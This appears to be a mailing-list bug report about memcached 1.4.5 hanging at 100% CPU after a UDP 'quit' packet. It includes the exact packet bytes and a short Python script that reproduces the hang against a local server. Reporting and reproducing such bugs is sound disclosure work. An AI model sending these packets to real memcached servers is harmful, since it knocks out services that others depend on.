Hi, All,

Here is the command "quit" that hangs memcached server:
"\x00\x00\x00\x00\x00\x01\x00\x00quit\r\n"
Any consecutive command will cause memcached to use 100% CPU.
Is it OK?

This command looks well-formed for me. And similar command "version" works
fine.

In the attachment - python script to reproduce the case.

Additional info:
OS: Ubuntu 10.10
memcached: 1.4.5

memcached run command:
memcached -U 11215 -t 1
(-t stands for the number of threads - 1, the script hangs the only thread
per one run)


--
Sincerely,
Ayrat Khalimov
#!/usr/bin/python

#run server: memcached -U 11215 -t 1
#-t stands for number of threads: u may type 4 and start the script 4 times

import socket
import time
import select
import sys

if len(sys.argv) != 2:
  print "udp_magic_quit.py <port>"
  exit(1)

port=int(sys.argv[1])

print "Creating socket"
sockt = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
sockt.setblocking(0)
sockt.bind( ("0.0.0.0",21205) )

ascii_cmd1 = "\x00\x00\x00\x00\x00\x01\x00\x00quit\r\n"
ascii_cmd2 = "\x00\x00\x00\x00\x00\x01\x00\x00version\r\n" #in fact any message hangs the server

print "Sending magic packet"
sockt.sendto( ascii_cmd1, ("localhost", port) )
sockt.sendto( ascii_cmd2, ("localhost", port) )
print "finished"

Reply via email to